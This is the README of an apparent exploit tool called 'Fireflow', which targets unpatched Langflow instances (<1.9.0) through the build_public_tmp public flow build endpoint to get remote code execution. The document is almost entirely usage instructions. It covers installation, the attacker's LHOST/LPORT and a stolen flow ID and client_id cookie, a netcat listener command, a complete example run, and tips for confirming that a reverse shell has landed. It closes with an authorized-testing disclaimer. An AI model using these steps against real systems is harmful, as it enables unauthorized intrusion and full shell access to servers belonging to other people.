Fireflow RCE Exploit

Remote Code Execution for Langflow via the build_public_tmp endpoint.
Exploit via Public Flow Build Endpoint that executes a reverse shell on the target.

Requirements

• Python 3.8+
• httpx library

Install:

pip install httpx

Usage

python exploit.py -u <BASE_URL> -l <LHOST> -p <LPORT> --flow-id <FLOW_ID> --client-id <CLIENT_ID>

Arguments

• -u, --url : Base URL of the Langflow instance (e.g., https://flow.example.com/)
• -l, --lhost : Your IP address to receive the reverse shell
• -p, --lport : Listening port for the reverse shell
• -f --flow-id : Target flow ID (required – obtain from /api/v1/flows/ or the UI)
• -c --client-id : client_id cookie value for session identification

Example

1. Start a listener:

   nc -nlvp 9001
   

2. Run the exploit:

   python exploit.py -u https://flow.target.local/ -l 127.0.0.1 -p 9001 --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --client-id 8a6bf601-0263-480b-aa81-9a6389ca9e5d
   

3. If successful, you get an interactive bash shell.

Important Notes

• ReadTimeout is normal – the server may not respond because the shell blocks the HTTP request. As long as you see a connection on your listener, the exploit worked.
• A valid flow-id is required. List all flows via GET /api/v1/flows or copy from the browser URL.
• This tool is intended for authorized penetration testing and educational purposes only. Do not use against systems without explicit permission.

Affected Versions

• Langflow versions prior to the fix for custom component RCE <1.9.0

License

MIT – for educational and ethical security research.